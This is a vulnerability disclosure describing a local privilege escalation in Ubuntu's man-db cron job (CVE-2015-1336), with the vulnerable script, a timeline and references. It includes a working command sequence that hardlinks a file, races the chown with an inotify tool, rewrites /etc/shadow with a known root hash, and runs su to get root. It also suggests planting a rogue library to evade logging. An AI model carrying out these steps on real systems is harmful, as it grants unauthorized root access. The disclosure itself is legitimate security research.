Introduction

Problem description: The daily mandb cleanup job for old catman pages changes the permissions of all non-man files to user man. This happens e.g. under Ubuntu Vivid with */etc/cron.daily/man-db* when systemd is not installed (*/run/systemd/system* does not exist). The problematic code is

```
# expunge old catman pages which have not been read in a week
if [ ! -d /run/systemd/system ] && [ -d /var/cache/man ]; then
  cd /
  if ! dpkg-statoverride --list /var/cache/man >/dev/null 2>&1; then
    echo "Running find" >&2
    find /var/cache/man -ignore_readdir_race ! -user man -print0 | \
      xargs -r0 chown -f man || true
  fi
  start-stop-daemon --start --pidfile /dev/null --startas /bin/sh \
        --oknodo --chuid man $iosched_idle -- -c \
        "find /var/cache/man -type f -name '*.gz' -atime +6 -print0 | \
         xargs -r0 rm -f"
fi
```

On Ubuntu Trusty, problematic code looks similar, just has no dependency to systemd existance:

```
# expunge old catman pages which have not been read in a week
if [ -d /var/cache/man ]; then
  cd /
  if ! dpkg-statoverride --list /var/cache/man >/dev/null 2>1; then
    find /var/cache/man -ignore_readdir_race ! -user man -print0 | \
      xargs -r0 chown -f man || true
  fi
  ...
```

Methods

Finding hardlinking target: To start with, user man has to hardlink a file not owned by user man. Without hardlink protection (*/proc/sys/fs/protected_hardlinks* set to 0), any root owned system file will do and chown will make it accessible to user *man*.

Without hardlink protection, user *man* one could race with find traversing the directories. It seems that new version of find with fts uses secure open and always checks stat of each file inode, both when entering subdirectories and when leaving. So a real hardlink to a file of another user is needed.

Even with hardlink protection, linking to file writable by user *man* is still allowed, but files have to reside on same file system. On standard Ubuntu Vivid system, there are just few target files:

```
man# find / -mount -type f -perm -0002 2> /dev/null
/var/crash/.lock
man# ls -al /var/crash/.lock
-rwxrwxrwx 1 root root 0 May 23 13:10 /var/crash/.lock
```

Using Timerace Using Inotify: As the mandb cronjob will change ownership of any file to user man, there are numerous targets for privilege escalation. The one I like best when /bin/su SUID binary is availabe is to change /etc/shadow. PAM just does not recognise this state, so only root password has to be cleared for su logon. For that purpose, the good old inotify-tool DirModifyInotify-20110530.c from a previous article. To escalate following steps are sufficient:

```
man# mkdir -p /var/cache/man/etc
man# ln /var/crash/.lock /var/cache/man/etc/shadow
man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath /var/cache/man/etc --LinkTarget /etc
... Wait till daily cronjob was run
man# cp /etc/shadow .
man# sed -r -e 's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:99999:7:::/' /etc/shadow > x
man# cat x > /etc/shadow; rm x
man# su -s /bin/sh (password is 123)
root# cat shadow > /etc/shadow; chown root /etc/shadow
```

If one does not want want PAM or su to write something to logs, trip over some audit/apparmor settings, we may want to make some library directory man-owned and place rogue library variant there.

Results, Discussion

It seems that user *man* is not really used, hence privilege escalation is not so much of a deal. But there are two things to be considered:

- Cron scripts in that quality should not slip though quality controls as the bug is easy to detect. Developers without security background may use them as template for own scripts, thus bad practice is inherited in new projects.
- PAM library should not operate on shadow writable by anyone else than root user.

Timeline

- 20150512: Discovery
- 20150807: Ubuntu bug report, see 1482786
- 20151202: Notified other distros via oss-security

Material, References

- Launchpad bug report1482786
- Man-db insecure chown CVE: CVE-2015-1336

Last modified 20150816
Contact e-mail: me (%) halfdog.net